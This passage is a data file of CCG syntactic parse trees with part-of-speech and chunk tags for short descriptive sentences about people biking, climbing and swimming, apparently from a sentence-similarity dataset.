t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'writing', 'write', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'note', 'note', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(42,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'writing', 'write', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'piece', 'piece', 'NN', 'I-NP', 'O')),
t(np\np, 'paper', 'paper', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(43,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'scouts', 'scout', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'hiking', 'hike', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(44,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'explorers', 'explorer', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(45,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'taking', 'take', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'break', 'break', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'from', 'from', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trip', 'trip', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'snowy', 'snowy', 'JJ', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(46,
rp(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'cars', 'car', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'side', 'side', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'snowy', 'snowy', 'JJ', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(47,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'surfing', 'surf', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'wave', 'wave', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(48,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blond', 'blond', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'waves', 'wave', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(49,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'silver', 'silver', 'NN', 'I-NP', 'O'),
t(n, 'pants', 'pants', 'NNS', 'I-NP', 'O'))),
conj(np\np, np,
t(comma, ',', ',', ',', 'O', 'O'),
lx(np, n,
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'bellbottoms', 'bellbottom', 'NNS', 'I-NP', 'O')))))))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'scarf', 'scarf', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(50,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
lx(np, n,
fa(n,
t(n/n, 'Pink', 'Pink', 'NNP', 'I-NP', 'O'),
t(n, 'bellbottoms', 'bellbottom', 'NNS', 'I-NP', 'O'))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'scarf', 'scarf', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:to\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:to\np,
t((s:to\np)/(s:to\np), 'not', 'not', 'RB', 'O', 'O'),
fa(s:to\np,
t((s:to\np)/(s:b\np), 'to', 'to', 'TO', 'I-VP', 'O'),
fa(s:b\np,
t((s:b\np)/(s:pss\np), 'be', 'be', 'VB', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'worn', 'wear', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
ba(np,
ba(np,
lx(np, n,
t(n, 'women', 'woman', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'silver', 'silver', 'JJ', 'I-NP', 'O'),
t(n, 'pants', 'pants', 'NNS', 'I-NP', 'O'))))),
conj(np\np, np,
t(conj, 'or', 'or', 'CC', 'I-NP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'bike', 'bike', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'riding', 'riding', 'NN', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(51,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'silver', 'silver', 'NN', 'I-NP', 'O'),
t(n, 'pants', 'pants', 'NNS', 'I-NP', 'O'))),
conj(np\np, np,
t(comma, ',', ',', ',', 'O', 'O'),
lx(np, n,
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'bellbottoms', 'bellbottom', 'NNS', 'I-NP', 'O')))))))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'scarf', 'scarf', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(52,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pedestrian', 'pedestrian', 'JJ', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'building', 'build', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'bicycles', 'bicycle', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'for', 'for', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'boa', 'boa', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'wearing', 'wear', 'VBG', 'I-NP', 'O'),
t(n, 'riders', 'rider', 'NNS', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(53,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'biker', 'biker', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'gear', 'gear', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'black', 'black', 'JJ', 'I-ADJP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(54,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'biker', 'biker', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-NP', 'O'),
lx(np, n,
t(n, 'black', 'black', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'breaking', 'break', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'gears', 'gear', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(55,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'taking', 'take', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'off', 'off', 'RP', 'I-PRT', 'O')),
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cloak', 'cloak', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:adj\np,
t((s:adj\np)/(s:adj\np), 'very', 'very', 'RB', 'I-ADJP', 'O'),
t(s:adj\np, 'large', 'large', 'JJ', 'I-ADJP', 'O')))))),
lp((s:ng\np)\(s:ng\np),
t(comma, ',', ',', ',', 'O', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'revealing', 'reveal', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'extravagant', 'extravagant', 'JJ', 'I-NP', 'O'),
t(n, 'dress', 'dress', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(56,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
bxc((s:ng\np)/np,
t(((s:ng\np)/pp)/np, 'putting', 'put', 'VBG', 'I-VP', 'O'),
tr((s:ng\np)\((s:ng\np)/pp),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cloak', 'cloak', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:adj\np,
t((s:adj\np)/(s:adj\np), 'very', 'very', 'RB', 'I-ADJP', 'O'),
t(s:adj\np, 'large', 'large', 'JJ', 'I-ADJP', 'O'))))),
t(comma, ',', ',', ',', 'O', 'O'))))),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
t((s:ng\np)/np, 'concealing', 'conceal', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'extravagant', 'extravagant', 'JJ', 'I-NP', 'O'),
t(n, 'dress', 'dress', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(57,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'wall', 'wall', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
fa(s:pss\np,
t((s:pss\np)/(s:pss\np), 'artificially', 'artificially', 'RB', 'I-VP', 'O'),
fa(s:pss\np,
t((s:pss\np)/pp, 'built', 'build', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/(s:ng\np), 'for', 'for', 'IN', 'I-PP', 'O'),
t(s:ng\np, 'climbing', 'climb', 'VBG', 'I-VP', 'O')))))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:pss\np,
t((s:pss\np)/pp, 'attached', 'attach', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(58,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'looks', 'look', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'fearful', 'fearful', 'JJ', 'I-ADJP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
t(n, 'wall', 'wall', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(59,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'tossing', 'toss', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'kid', 'kid', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'into', 'into', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'swimming', 'swimming', 'NN', 'I-NP', 'O'),
t(n, 'pool', 'pool', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ocean', 'ocean', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(60,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'tossing', 'toss', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'kid', 'kid', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'into', 'into', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'swimming', 'swimming', 'NN', 'I-NP', 'O'),
t(n, 'pool', 'pool', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ocean', 'ocean', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(61,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cliff', 'cliff', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(62,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'pink', 'pink', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
t(n, 'gear', 'gear', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/np, 'roped', 'rope', 'VBD', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'rock', 'rock', 'NN', 'I-NP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(63,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rock', 'rock', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'pink', 'pink', 'JJ', 'I-ADJP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(64,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cliff', 'cliff', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(65,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
